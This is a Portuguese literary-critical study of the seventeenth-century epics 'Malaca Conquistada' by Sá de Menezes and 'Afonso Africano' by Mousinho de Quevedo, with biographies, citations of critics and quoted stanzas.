Continued from: Ulisséia, Malaca Conquistada e Afonso Africano. Poemas épicos seiscentistas.

FRANCISCO DE SÁ DE MENEZES

Francisco de Sá de Menezes, a quem devemos este belo poema, nasceu na cidade do Porto, tendo por progenitores João Rodrigues de Sá, que fructuosamente cultivava a poesia, e D. Maria da Silva senhora de eminentes qualidades.

Não se sabe ao certo a data do seu nascimento, julgando Costa e Silva que não se afastava muito do começo do século XVII.

Sobrinho do eximio poeta Sá de Miranda, revelou desde a mais tenra infancia propensão para o trato das musas, en-tregando-se com ardor ao estudo das línguas grega, latina, italiana, francesa e espanhola. Deu-se ao estudo das ciências e letras, e muito moço granjeou a reputação de literato. Gozou das boas graças da corte, sendo condecorado com a comenda da "ordem de Cristo. Parece que serenos se deslizaram os primeiros anos da sua existência, até que tendo a infelicidade de perder sua mulher e prima, D. Antônia de Andrade, desgostou-se do mundo e recolheu-se ao real mosteiro de Benfica, nos subúrbios de Lisboa, onde professou debaixo do nome de Frei Francisco de Jesus. Aí permaneceu no maior desapego da vida até o dia 11 de Dezembro de 1641, em que deu a alma ao Creador.

Escreveu várias obras poéticas pouco’conhecidas, e entre estas uma tragédia em que tomara por objeto a lastimosa morte de D. Maria Teles, irmã da impudica rainha D. Leonor. Lamenta Costa e Silva a perda dessa composição, que se conservava manuscrita na biblioteca do Paço Real, onde ardera por ocasião do terremoto de Lisboa de 1755; crendo que Sá de Menezes "saberia tirar partido da patética situação que lhe oferecia uma esposa inocente, barbaramente assassinada por seu marido, alucinado pelas calúnias da própria irmã da vítima".

A mais notável porém das obras de Sá de Menezes é certamente a sua epopéia que intitulou de Malaca Conquistada por o grande Afonso d’Albuquerque, poema heróico oferecido à Católica Majestade de El-Rei D. Filpe III de Portugal; Lisboa, por Mathias Rodrigues, 1634, em 8o. Consta-nos que se fizeram mais duas edições deste poema, uma em 1658 em 4o, devida aos cuidados de Paulo Craesbeeck, e dedicada a el-rei D. Afonso VI, e a ultima em 1779, também em 4o e que se julga mais correta do que as antecedentes.

Desencontrados são os pareceres dos nossos críticos acerca da Malaca Conquistada; para Almeida Garrett é ela "um dos derradeiros títulos de glória da literatura portuguesa"; para Francisco Dias Gomes é "a mais inferior das nossas epopéias regulares, sem que contudo sirva de descrédito ao nosso idioma"; enquanto que para José Maria da Costa e Silva "cabe-lhe com justiça o primeiro lugar entre os nossos épicos depois de Camões, pelo bem arquitetado da sua fábula, variedade e bem sustentado dos caracteres, movimento dramático, rica invenção dos seus episódios, formosura das suas descrições e poesia verdadeiramente épica".

Não aceitamos nem o desprezo de uns nem o entusiasmo de outros quando assinamos à Malaca o terceiro lugar entre os nossos épicos. Quanto a nós, é este poema executado segundo os preceitos clássicos, subordinada a grandeza de ação ao interesse patriótico que devera despertar aos portugueses que viam então demolir-se gradualmente o monumento da sua glória asiática. Nada pode comparar-se à nobreza e elevação do protagonista, o magnânimo Afonso de Albuquerque, cujo caráter, bem como o de Aladino, Gueimal, Solemão, Etol, Titônia e Glaura, são magistralmente desenhados. Seus episódios, posto que às vezes demasiadamente prolixos, ligam-se com arte à ação principal, e apresentam uma variedade de quadros que recr’am o leitor. Os dos amores de Alaída, da fundação de Malaca, das façanhas de Albuquerque, das aventuras de Glaura e das catástrofes dos companheiros de Diogo de Siqueira recomendam-se pela sua perfeição. Nem menos meritório se torna o poema de Sá de Menezes pela introdução do maravilhoso cristão, precedendo destarte a profícua reforma que ultimamente se operou na literatura dos povos neolatinos.

Belíssimas são as suas descrições, e o perfeito conhecimento das localidades revela que o distinto poeta visitara o teatro onde se passaram as cenas que tão bem pinta.

Nota-se nesta obra certa palidez ou tibieza de estilo, que por vezes degenera em prosaísmo; e, mau grado seu, não raro acompanha Sá de Menezes a escola de Gongora.

Dura e descuidada é em vários lugares a sua metrificação. Nem lhe serve a desculpa que dá Costa e Silva de que são tais defeitos devidos a erros tipográficos, procurando outrossim atenuá-los com o exemplo de Ferreira, a quem não eram mui triviais as leis da melodia.

Para complemento do nosso estudo citemos alguns trechos de verdadeiro e incontestável mérito. Logo no livro I encontra-se esta bela narrativa da viagem de Afonso de Albuquerque:

No Índico mar a armada se engolfava
E já somente o céu e mar se via,
O favorável vento que soprava
Os grandes lenços brandamente abria.
O promontório Camori deixava Atrás e a grão
Ceilão se descobria,
Taprobana chamada antigamente,
Riquissíma delicia de Oriente.

De canela odorífera abundantes
Os altos montes são bosques sombrios,
Habitados de grandes elefantes
Primeiros em prudência e fortes brios;
De rubis e safiras rutilantes
Ricas são as áreas de seus rios,
E tudo rico do mortal que cria
Com seus raios, o sol na terra fria.

De Ceilão n’Oriente a proa posta
O golfo de Bengala atravessaram,
E de Narsinga a rica e fértil costa,
Para a Setentrional parte deixaram.
Nela a grão Meliapor está composta
De ilustres edifícios que lavraram
Modernos moradores, e ruinas
Que inda se mostram de memória dignas.

Esta tintura de cor local, como se exprime o Sr. Ferdinand Dénis comunica grande encanto aos quadros da Malaca, e demonstram que o seu ilustrado autor, como outrora o dos Lusíadas, pedia à natureza que lhe emprestasse as suas cores.

A descrição do inferno reconciliou Sá de Menezes com os seus mais decididos adversários e Garrett não duvidou afirmar que "a fala de Asmodeu do conselho infernal faz lembrar muito a de Lúcifer em Milton". Combinando as descrições de Homero, Virgílio e Dante, conseguiu o poeta português exibir um precioso painel, em que pôde ainda imprimir o selo da sua própria individualidade. Vejamo-lo:

Está na entrada da tartária porta
Precipicio de medo e de horror cheio,
Onde os fios vitais Atropos corta,
Onde é confusão tudo, tudo enleio:
Dali, donde a esperança fuca morta
E habita o sobressalto co’o receio,
Corre um vale, por onde desce a gente
Perdida para o reino descontente.

Por aquele vazio o averro alento
Pestífero respira, misturado
Cos gemidos das almas que em tormento
Blasfemam do rigor o céu irado:
Confunde grosso fumo o negro assento,
Que nunca raio viu de sol dourado,
Donde se ouvem rug;r feras impias,
E nos ares gritar torpes Arpias.

Ouvem-se ali de Cérbero latrante
Os triplicados hórridos latidos
Com os brados do velho navegante
Que à barca chama as almas dos perdidos.
Fama é que por ali desceu o amante
A quem Pluto e Prosérpina vencidos
Do doce canto, a amada concederam
Que seus olhos segunda vez perderam.

E o que sosteve os cercos cristalinos,
Quando Atlas ficou dele o peso puro,
E aquele que à gentil filha de Minos
Ingratíssimo foi, sobre perjuro;
E outros que vão seguindo desatinos
Quiseram penetrar o centro escuro,
Também o infernal Rei com a doce amada.
Tantos tempos da mãe em vão chorada.

Daquele sítio horrível e espantoso
A quem tecto é desforme, imenso monte,
Com brado horrendo o Anio tenebroso
Os ministros chamou de Flegetonte:
Não quis passar o negro estreito undoso
Podendo-lhe servir asas de ponte
Que os protervos desejos, em que ardia,
Um ponto eternidades parecia.

Logo que do abismo os negros moradores
Que na ambição primeira conspiraram,
Enchendo o ar de horríssimos clamores,
Ante o mesmo furor se apresentaram.
Que monstros d’ira, e de discórdia autores,

Que medonhas formas se ajuntaram
De Quimeras, Pitões e Minotauros,
Sidras, Esfinges, Dragos e Centauros.

Viam-se ali na multidão difusa
Belareus de cem braços descompostos;
Serpentinas cabeças de Medusa
E de feios, Ciclopes, feros rostos.
Enfim via-se ali cópia confusa
De diversos aspeitos e supostos,
Cujos feios extremos de bruteza
Desconhecia a mesma natureza.

A multidão soberba já esperava
Que o capitão do Erebo revelasse
O caso que dor tanta lhe causava,
E em seu fatal serviço os ocupasse:
Quando ele, que até então calado estava,
Para que o caso em mais se reputasse,
Bramou, gemeu o cárcere fumante,
Tremeu a terra, descompôs-se Atlante.

Horrível gravidade ao fero aspeito,
Gemendo triste ajunta e exalando
Infausto fogo do abrasado peito,
A língua assi vibrou vociferando:
Tartários An’os, dignos de respeito,
Que depo!s do grão caso miserando,
Sofreis injusta pena, despenhados
Do Olimpo para quem foste criados.

Em lugar nosso aquele que governa
Lá de cima do claro firmamento
Estrelas, Sol, e Lua, e cá na interna
Escuridão do Reino do tormento:
Formando o homem vil, já na superna
Região, lhe deu o cristalino assento,
Que num tempo ocupou o Senhor vosso,
Nunca tão grande dor esquecer posso.

Presente agora tenho na lembrança
Quando do nada o homem foi criado,
Que com ingrata e douda confiança,
Comeu do fruito que lhe foi vedado.
Em lugar de querer dele vingança,
Ordenou como fosse resgatado,
Quando por justa pena merecia
Não ver, nem gozar mais da cor do dia.

Enfim por ele o filho a morte entrega,
E o filho com morrer triunfou da morte,
E descendo triunfante a região cega
As portas quebrantou do muro forte:
Abriu nossas prisões, que a tanto chega
A grão miséria nossa, ó triste sorte!

Levando as almas que em poder tivemos
A ocupar as cadeiras que perdemos.

Continua Asmodeu a queixar-se de Cristo, e dos reis que o imitaram, em cujo número contempla D. Manuel, que pretendia sujeitar todo o Oriente ao domínio do Evangelho, enviando Afonso de Albuquerque à conquista de Malaca; e para que semelhante empresa se malogre ordena a Belzebut, que impera sobre cs ventos, que desencadeie a furiosa tempestade sobre as naus portuguesas, as quais, como já vimos, placida-mente cortavam as águas do Oceano Índico.

Dignos são do pincel de Buonarotti os vigorosos traços com que Sá de Menezes pinta o reino das trevas; sentimos porém que não seguisse inteiramente o maravilhoso cristão, abandonando essas imagens pagãs, a que de contínuo recorre, como que para adornar e poetizar a teia em que trabalhava. Era porém o primeiro poeta português que descrevia o inferno, segundo as nossas crenças; releva pois desculpar se os primeiros ensaios não tiveram o cunho da perfeição.

Do talento descritivo do poeta temos inúmeras provas sendo muito digna de especial menção a brilhantíssima pintura que deixou-nos da cidade de Malaca nas seguintes estâncias.

Jaz Malaca, cidade das famosas,
Num campo plano junto ao mar, batida
Brandamente das águas caudalosas
De um rio, pelo meio dividida.
De casas de Pomona deleitosas
Da parte do Sertão enobrecida,
Muros não fabricou porque os despreza
Dos naturais a indómita braveza.

Tem por donde sai o sol ardente
Na contra costa o mar d’ilhas coalhado;
Divide-a peia parte do Ocidente
Da grão Sumatra o Bosforo dourado,
De que dá o Reino e de Sião potente
Que senhor fora do Malaio estado
Para onde resplandece C.nosura
Para o austro Sabão e Cingapura.

Como exemplo da delicadeza dos sentimentos pode-se apontar a bela apóstrofe de Titônia à sua mãe Aurora, que assim exclama:

Rubicunda Deidade, a quem adoro,
Clara do claro dia precursora,

Não consintas que ofendam teu decoro
Em mim que mãe te chamo, bela Aurora.
Ah! não se d ga que te vejo e choro
E que me deixas em tristeza agora
Que o mundo alegras, sendo a confiança
Que em ti pus vã, vã minha esperança.

E se o chamar-me descendente tua
Não são do mundo fábulas sonhadas,
Hoje se mostre, impede a tenção crua
Que deixar minhas ânsias enganadas,
Assi o céu vida a Mêmnon restitua
Pelas lágrimas belas derramadas
De teus olhos que enxergas a luz do dia
E a quem já as minhas fazem companhia.

Não disse mais, que a pressa e grande pena
A mais larga oração lugar não davam,
O monte desceu enquanto a luz serena
Com cânticos as aves saudavam.
A praia chega e nela amor lhe ordena
A execução dos males que a esperavam;
Dar vê o navio a vela, ai fera vista!
Quem haverá que a tanta dor resista?

"O contraste das aves (diz Costa e Silva), que saúdam com os seus cânticos o despontar da Aurora, com as lágrimas as querelas e aflição da rainha do Catai, são uma pincelada de mestre que dobra o interesse e o patético da situação." Onde porém Sá de Menezes toca as raias do sentimentalismo é na imprecação que Glaura, procurando o cadáver de seu esposo no campo da batalha, dirige às estrelas e à lua. Esperamos que do nosso parecer sejam os leitores depois de lerem os seguintes versos:

Com ânsia que a dor causa levantando
As chorosas estrelas, às es’relas;
Rogos e vãos queixumes misturando
Assi roga, e assi aos céus manda querelas:
E ternas luzes que passais brilhando
Por celestes caminhos, margens belas
Males de amor, e morte já sentistes,
Mostrai quem morto adoro aos olhos tristes.

Dai-me morto o que vivo me tirastes
E piedosas de mim seres chamadas,
Bastem os males já que me causastes
Tanto tempo em meu dano conjuradas:
Assi no claro assento, que ocupastes,
Nunca sejais de nuvens eclipsadas,
Deixai que chegue a dar-lhe sepultura
E o golpe em mim execute a Parca dura.

E tu que com três rostos resplandeces
No céu, na terra, e
no escuro averno;
Tu que as plantas animas e enriqueces
O mar profundo com vigor interno,
Os raios com as cousas favoreces
Comunicando teu valor eterno Estende,
e mostra-me entre tantos onde
A escura sombra o morto bem me esconde.

Mareiam infelizmente o esplendor das belezas do poema comparações de mau gosto, alambicados trocadilhos, e impróprios epítetos. Sem proceder à rigorosa autópsia desses defeitos, mencionemos alguns que logo se apresentam à primeira vista. Querendo v. g. pintar o estado em que ficou Noutel, em consequência da lançada que o privou de um olho, usa deste símile pouco digno da majestade épica:

Quando um bote de lança o faz terceiro
De Aníbal e Sertório companheiro.

Na explicação que faz Etol das pinturas onde se acham figuradas as façanhas dos portugueses na índia encontra-se o epíteto de tanque aplicado ao oceano, que longe de embelezar amesquinha a idéia. Citemos toda a estância para que melhor se julgue da justiça da crítica:

Olha o bom Rui de Brito Palatino,
Que será dela o defensor primeiro,
E Andrade que esse
tanque netunino
Com sangue tingirá do jau guerreiro;
Irá dele fugindo peregrino
Jatequetir no trance derradeiro,
E fugirá também desbaratado
De Jaua, o Rei soberbo, acobardado.

Na estância 105 do Livro X de tal modo guindou o poeta a frase que tocou ao sublime do gongorismo. Ei-la:

Vês em Amboino do senhor cultiva
A vinha a quem cultor anos faltara,
E cavando-a de novo com fé viva
A cerca, e de seus danos a repara.

E como dos trabalhos não se esquiva
Na aspereza do Moro, terra avara
Planta seu zelo ardente, plantas belas
Que o fruto hão de subir sobre as estrelas.

Nem sempre feliz era Sá de Menezes na escolha das suas imagens, sacrificando muitas vezes a dignidade da epopéia ao emprego de uma figura que insensivelmente lhe caía do bico de pena. Assim, por exemplo, descrevendo uma horrorosa noite em que Asmodeu fora ter com Lusbel para concertarem nos meios de perderem a frota portuguesa, ancorada no porto de Malaca, diz:

No horror da escura noite, quando mudo
Calçando feltros, leve e deligente
Anda o silêncio emudecendo tudo,

E senhoreia o sono brandamente.

Ninguém nos contestará que o silêncio calçando feltros e emudecendo tudo, é uma expressão mais própria do Hissope do que da Malaca conquistada.

Numerosos são os erros de gramática que se introduziram na obra prima de Sá de Menezes, e que podem ser atribuídos, ou à negligência do autor, ou à imperícia dos copistas, tipográficos e revisores. Com o erudito filólogo J. M. da Costa e Silva formamos votos para que "se faça quarta edição deste poema, já bastante raro, sendo esta vigiada por um corretor hábil e inteligente, que faça desaparecer essas máculas, e restabeleça algumas rimas que se acham trocadas".

Afonso Africano. — Forma este poema o mais brilhante florão da gloria de Vasco Mousinho de Quevedo Castello-Branco, natural da vila de Setúbal, de quem se ignoram as datas do nascimento e morte. Segundo o testemunho do infatigável abade Barbosa Machado, em sua Biblioteca Lusitana, foi Quevedo grande conhecedor dos idiomas latino, espanhol e italiano, revelando-se o seu estro quando ainda frequentava a Universidade de Coimbra, onde se graduara in utroque jure. A tomada de Tânger e Arzila por Afonso V forma o assunto do poema, que transmitiu o seu nome à posteridade, e que pela primeira vez foi publicado em Lisboa no ano de 1611.

Este poema, que só pode encontrar sua razão de existência nas inspirações do patriotismo, tem sido diversamente julgado; pretendendo alguns críticos colocá-lo imediatamente depois dos Lusíadas. No número dos seus admiradores conta-se o distinto literato Almeida Garrett, que no seu Bosquejo de História da Poesia e da Língua Portuguesa assim se expressa: "Vasco Mousinho de Quevedo, que sem disputar, é depois de Camões, nosso primeiro épico, aí tem já em toda a nobreza de seus versos a quebra de bastardia deste defeito (o gongorismo), que todavia é nele ainda raro. Mas que belezas tem esse tão mal avaliado Afonso Africano, a que a cegueira e o mau gosto têm querido preferir a quixótica e sesquipedal Ulisséia, a hiperbórea e campanuda Malaca! Não é regular o poema, não é um todo perfeito; o maravilhoso é frio, e a ação toda não mui bem deduzida, mas que riquíssimos episódios a enfeitam! A descrição de Zara, o jardim encantado onde aporta o principe D. João, e alguns outros trechos são cunhados com o selo da verdadeira poesia, e animados da luz que só dá o engenho. Quanto ao estilo, é com poucas exceções fluido e elegante; custa achar em tão longo poema uma rima forçada ou má; e a mesma linguagem, suposto decline um tanto da primeira pureza, é ainda de boa lei e valiosos quilates".

Parece-nos que o brilhantismo das imagens e a fluidez da metrificação do Afonso Africano fascinaram ao cantor de Camões e de D. Branca fazendo-o atenuar os defeitos do poema de Quevedo. Submetida a sua ação ao cadinho da mais benigna crítica, reconhecer-se-á que é frigidíssima, pecando gravemente contra as leis da unidade. Os episódios, cuja riqueza tanto exalta Garrett, são pela mor parte alheios à marcha do poema, e com dificuldade poder-se-ão a ela prender. Sobremodo fracos são os seus caracteres, e o do protagonista pouco ou nenhum interesse inspira: bem como o do mago Eudolo, que, como muito bem observa Costa e Silva, "na sua gruta, cercado de um armazém de bruxarias, ameaça os cristãos, blasona de seu grande poder e ciência, parte furi-buno para a cidade, repreende asperamente o rei pela sua frouxidão e descuido, exige o sacrifício da princesa, mas, nem o sacrifício tem lugar, porque a vítima foge, sem que o rei fale mais nisso; o rei, que, digamo-lo de passagem, é o perfeito protótipo da nulidadde, e o mago nada mais faz, salvo no fim, como um novo Balaão abençoar os inimigos em lugar de amaldiçoá-los."

As eminentes qualidades que possuía Quevedo como colorista, a elegância do seu estilo não eram escoimados de máculas. Assim por exemplo quem poderá ler de uma assentada dois, ou três cantos do poema sem notar que a monotonia lhe diminui sensivelmente o prazer, e que o excessivo uso das alegorias e metáforas geram o tédio, irreconciliável inimigo da atenção? Nem menos estranhável é a afetação, vício que lhe comunicara a escola castelhana da qual se confessava adepto, e essa descolocada erudição que o fazia introduzir em seu livro as imitações e reminiscências que em seu espírito lhe haviam deixado suas muitas e profundas leituras.Havendo assinado esses defeitos, não desconhecemos que o Afonso Africano ocupa distinto lugar entre as nossas epopéias pelos excelentes trechos que encerra, perfeição de seus versos, beleza das comparações, sabedoria de suas máximas c conceitos, e muito principalmente por ter sabido quase sempre evitar os numerosos escolhos em que naufragavam a mor parte dos poetas que seguiam os ditames de Gongora e Marini, patriarcas da poesia seiscentista.

À imitação de Torquato Tasso, lançou Quevedo mão da magia para o maravilhoso do poema, sendo para lamentar a confusão que aí faz reinar. O verdadeiro Deus, os santos, os anjos se acham de envolta com Lúcifer, Megera, Proteu, os Tritões e as Nereidas. Assim pois a mistura do sagrado com o profano, tão censurada em Camões, é levada ao último excesso pelo autor do Afonso Africano.

Percorramos ligeiramente o teclado de suas maiores belezas, não omitindo tão-pouco o que menos digno de louvor se nos antolha.

Merecedora de particular menção parece-nos a descrição da gruta do mago Eudolo, que se lê no canto II:

Conta-me agora, ó Musa, enquanto abrindo
Afonso vai o líquido elemento,
Que desvios se vão contra ele urdindo,
Que possam perturbar-lhe o santo intento:
Que tempestades os ares vão confundindo,

E que mágicos espíritos engenhos usa,
Que Arquimedes não forma em Siracusa.

Num monte cavernoso, que alça o colo
De Arzila pouco trânsito distante,
Numa alta cova onde não chega Apolo,
Por mais que avive o raio rutilante:
Em clausura vivia o mago Eudolo,
Antigo sucessor do velho Atlante,
De maravihas cheio, que alcançara
Parte por arte sua, e parte herdara.

Este era n’arte igual ao Grego raro
Que previu os destroços dos Troianos
Das aves, que roubou do ninho caro
O Dragão fero computando os anos:
Nem era nos augúrios menos claro
Que o que na guerra dos irmãos Tebanos
Abrindo-se-lhe a terra co’a ruína
O Reino amedrontou de Prosérpina.

Este nas asas do plumoso bando
Ou cortem leves o ar, ou trepidantes,

Vários sucessos vai conjecturando,
Que a Mauritânia prognostica instantes:
Este com olho atento está notando
As entranhas das reses palpitantes,
Como, que o que Deus tem determinado
Num animal esteja figurado.

Este observa as estrelas radiantes
No mais alto silêncio, e mais profundo
Notando o movimento das errantes
E das fixas o cintilar jocundo:
Dos signos, dos Planetas tão distantes
(Que tanto podem no pequeno Mundo)
Virtudes e secretas qualidades
Que inclinar podem, não forçar vontades.
Este de pedras cândidas e belas
A propriedade e natureza aicança
E desvelado em conjunções de estrelas
A cujo nascimento conta lança,
Figuras espantosas abre nelas
Com que as sombras do lago Averno amansa,
Qual em Berilo, qual em Calcedônio,
Qual em Safiro está, qual em Sardônio.

O retrato de Zara passa por um dos mais mimosos quadros de uma rara e peregrina beleza. Apreciemo-lo:

Era Zara o retrato mais perfeito
Que com mão destra fez a Natureza,
Se as condições se vêem do altivo peito,
E juntamente as partes da beleza:
O Mundo com seu nome tem sujeto
Que inda é maior que topa a Redondeza,
E se de Cristo a Fé lhe não faltara
Pode ser que o seu nome ao Céu chegara.

De mil Procos ao Pai era pedida
Sem outro primeiro igual em casamento,
Mas tudo desprezava, que na vida
Não há cousa que lhe encha o pensamento,
E dizem que se tinha oferecida
A vida singular, e casto intento
De Dana e das mais Ninfas da terra
Que pisam trás a caça o vale e a serra.

Neste exercic:o alegre em que se esmera
O mais do tempo nas montanhas passa,
Seguindo os passos duma e doutra fera
Té que a tiro lhe chega e ali a traspassa.
Ora emboscada entre alto mato espera,
Tendo só para a seta a vista escassa,
Que do arco despedida o cervo prega
Incauto, e co’ o sangue o campo rega.

Também a cosso toma o leve gamo
Tão ligeiro trás ele se arremessa,
Depois que o engano co’o vão reclamo
A quem acode com ligeira pressa.
Agora aponta o pássaro no ramo.
E antes de ser sentida o atravessa
Ensaio breve com que a mão se afouta
Para o pouso, que fez dentro na mouta.

Às vezes enfadada na floresta
Quando arde a calma, quando o sol se empina,
No regaço florido passa a sesta
E na mão d’alabastro a face inclina:
Ora os olhos à fonte clara empresta,
E brincando co’ a água cristalina,
A veia se perturba, e se mistura,
Porque ela se não turbe co’ a figura.

Que a ver a imagem bela na água clara.
O lindo asseio e gracioso riso, (Se porventura visse) pergara
Perdendo-se por si como Narciso:
Mas ela é desta glória tanto avara
Que por se não mostrar, turba d’aviso
A fonte, que da mesma água se cria
Lhe fuja co’ a figura, pois corria.

Às vezes co’ as donzelas escolhidas,
Que a seguem nesta deleitosa pena,
Debaixo do tecido das floridas
Arvores danças mil arosa ordena:
Espantam-se das silvas as fingidas
Deidades, e tocando a doce avena
Os passos com som rústico acompanham,
Porém de longe, que chegar estranham.

Ai Zara, e que vida esta tão segura
Em bosque fresco de pesares falto,
 
Onde o maior tumulto é d’agua pura

Das aves do ar o murmurar mais altol
Agora que te apartas da espessura
Logo encontras com pena e sobressalto,
Que n’aima suspiraste quando viste
Tão severo espetáculo e tão triste.

Vivas enargueias, pitorescos símiles deparam-se na seguinte pintura da multidão de Mouros que vinham em socorro da cidade:

Já com tropel aqueles campos pisa
De Mouros comarcãos multidão vária.
Já se mostra das Luas a divisa
Ao lume do divino sol contrária:
Como formigas a que o tempo avisa

Da boa conjunção tão necessária
Da loura Ceres, saem por carreiros
A fazer para o inverno seus celeiros.

E com ímpeto alçando estranha grita,
Arremetendo aqueles fracos valos,
Cada qual suas forças exercita
Buscando meios como possa entrá-los:
Mas tornam rebatidos, que milita
O valor que costuma conservá-los,
Tanto melhor em dano do inimigo,
Quanto mais conhecido era o perigo.

Pôs a sombra da noite escura e parda
Aos cuidados humanos intervalo
Com as trevas em que o Mouro se resguarda
E para o curso do fugaz cavalo:
Mas tanto que de luz os montes barda
Lucifero, e no mundo faz abalo,
Vê que outra vez com gente de socorro,
Os nossos cercam no cerrado corro.

Mas eles qual o touro impaciente,
Terror da silva, dos rivais espanto,
Tanto que reprimido ali se sente
Dando bramidos de mortal quebranto
Rompe as tranqueiras com luror ardente.
Desbaratando denodado quanto
Diante se lhe opõe, gritam das ruas,
Cada qual recolhendo as cousas suas.

Tais contra os ininrgos se arremessam
Que temerosos logo as costas viram,
Asas levam nos pés com que se apressam.
Nem sentimento têm dos que suspiram:
Uns cativando, a muitcs atravessam,
E por então o alcance não seguiram
Longe os nossos, que o cego horror lhes tapa
Os caminhos por onde o Mouro escapa.

Fornece o assalto de Arzila formosíssimas estâncias ao poema, onde com. grande arte se daguerreotipam as cenas de horror e confusão próprias de semelhantes momentos. Por economia de espaço apenas citaremos um trecho, recomendável pela riqueza e vivacidade de expressão:

Qual sobe já pela tendida lança
Para este efeito com indústria posta;
Qual com mais lige reza e confiança
Vai por escada que a muralha encosta;
Qual pelo muro vai cem segurança,
Qual verde hera, que com os nós disposta
De quebra em quebra, e pedra em pedra trepa,
Mas no melhor a mão se lhe decepa.

Porém não íoi dos Mouros a presteza
Menos solta pois era mais segura,
Com furor bravo igual à fortaleza
Cada qual rebater o seu procura;
Não vai aos nossos natural firmeza
Que no risco maior imota dura,
Por três vezes subir acometeram,
Por tantas outra vez se recolheram.

Brilham alguns felizes pensamentos, engastados em melodiosos versos, na descrição da batalha de Alcácer Quebir, principalmente na dos últimos instantes do rei-cavaleiro. Vejamo-los:

Os esquadrões grossíssimos desceram
Dos Alarabes, e com bravo insulto
Dos vassalos o globo acometeram
Onde Sebastião estava oculto:
Muitos mataram, muitos ofenderam
Por se não descobrir o régio vulto.
Mas não havia já poder bastante
A resistir a fúria semelhante.

E vendo que lhes era necessário
Dar-se algum acertado pensamento
Para se reprimir o temerário
Encontro, e pôr-se el-rei em salvamento;
Divisa branca símbolo ordinário
De paz e sujeição se estende ao vento,
A Bárbaros pedindo em tanto aperto
Algum conveniente e são concerto.

Mas quem poderá pôr freio à virtude?
Quem reprimir um ânimo valente?
Para que inda em tais lástimas
se ajude
De condições, que o brio não consente:
Não é bastante a morte, a que se mude
Sebastião de si mesmo e de repente
Com furor represado se abalança,
Onde o Reino acabou sua esperança.

Tal o calor do sol foi levantado
Lá na parte o vapor mais aHa e fria,
Onde se esteve em nuvens engrossando,
E dentro a exalação se densa e cria;
Logo se vai em pedra conglobando
E rompendo a região desse ar vazia,
Nas íntimas entranhas da alta serra
(Assombrando o contorno) ali se encerra.

Campos de Alcácer, nunca em ti se veja
Primavera gentil, mas seco estio;
Nunca o céu na sazão que se deseja

De água te cubra, nem de orvalho frio;
O teu nome infamado sempre seja,
Que em ti perderam fortes lustre e brio.
Não pôde dizer mais Eudolo, e sente

O
mal futuro, como já presente.

Belíssima é a imprecação final, porém mal cabida na boca de um muçulmano para quem os campos de Alcácer são como os de Maratona e Platéia para os Gregos, por haver aí sucumbido a última tentativa de invasão portuguesa. Repare-se outrossim que este episódio, que ocupa todo o canto XI, é totalmente estranho à ação do poema, tornando-a lenta e dificultando o seu desfecho.

Sendo Quevedo perfeito conhecedor dos recursos da língua, censurável é o emprego que faz de algumas locuções menos próprias para a sublimiadde do gênero que escolhera. Assim, por exemplo, na despedida pelo poeta atrabuída a el-rei D. João I, usa da palavra curral de Cristo, que já em seu tempo era pouco nobre. Avaliem os leitores da inconveniência de tal expressão.

A maior carga que minha alma sente
Que quase faz pendor e me inquieta
É sangue derramado em guerra à gente
Que no
curral de Cristo se aquieta;
O dano que lhe fiz incautamente,
Alma me corra é uma dor secreta,
E se a morte mais tarde me impedira
Co’ o sangue infido o que verti suprira.

Algumas vezes pelo prazer de servir-se de uma antítese sacrifica um belo pensamento, como neste exemplo:

Aí que estrago e destorço represento,
Que mortes que
sem terra a Terra deixai
Pastos de feras, de aves mantimento.
Que a mesma natureza ali se queixa:
Qual decomposta Ceres de ornamento,
Em molhos jaz que o segador enfeixa
Quando da tarde o derradeiro atalho
Interpôs o descanso ao seu trabalho.

Mata outras vezes a poesia um trocadilho de que não soube libertar-se o bom gosto do autor. Assim v. g. falando dos estandartes portugueses, diz:

Cinco estandartes que de verde coram
Em sinal de vitória e de esperança,

imagem esta só própria da Fênix renascida.

A tomada de Tânger, corolário da de Arzila, ocupa por algum tempo a atenção do poeta, com grave prejuízo da unidade de ação, de que aliás era pouco observador: nem bem sustentado nos parece o papel de Zara, inutilmente humilhada no último canto, e predizendo, como Eudolo, as vitórias dos inimigos de sua pátria e religião.

Apesar da proverbial melodia de Quevedo, encontram-se cm seu poema alguns versos mal medidos e desagradáveis ao ouvido; e não duvidando lançar muitas destas faltas à conta dos copistas e tipógrafos, como já fizemos com o antecedente poeta, cumpre não nos esquecermos de que os seus contemporâneos o acusavam de pouco cuidadoso na revisão das suas obras.

Fonte: editora Cátedra – MEC – 1978

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Afonso Africano
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